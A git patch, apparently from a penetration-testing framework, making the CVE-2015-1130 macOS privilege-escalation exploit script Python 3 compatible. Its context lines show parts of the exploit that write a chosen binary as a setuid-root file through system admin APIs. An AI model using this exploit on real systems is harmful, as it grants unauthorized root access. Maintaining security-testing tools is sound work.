From 69d398865d5b8cfc8e650b3f140480bbfb79af5c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Herv=C3=A9=20Beraud?= Date: Wed, 13 Feb 2019 22:20:29 +0100 Subject: [PATCH] python 3 compatibility --- data/exploits/CVE-2015-1130/exploit.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/data/exploits/CVE-2015-1130/exploit.py b/data/exploits/CVE-2015-1130/exploit.py index 0d83f3e22a..0edc10f167 100644 --- a/data/exploits/CVE-2015-1130/exploit.py +++ b/data/exploits/CVE-2015-1130/exploit.py @@ -27,7 +27,7 @@ def use_old_api(): args = sys.argv if len(args) != 3: - print "usage: exploit.py source_binary dest_binary_as_root" + print("usage: exploit.py source_binary dest_binary_as_root") sys.exit(-1) source_binary = args[1] @@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init() attr.setValue_forKey_(04777, NSFilePosixPermissions) data = NSData.alloc().initWithContentsOfFile_(source_binary) -print "will write file", dest_binary +print("will write file", dest_binary) if use_old_api(): adm_lib = load_lib("/Admin.framework/Admin") @@ -68,6 +68,6 @@ else: tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0) -print "Done!" +print("Done!") del pool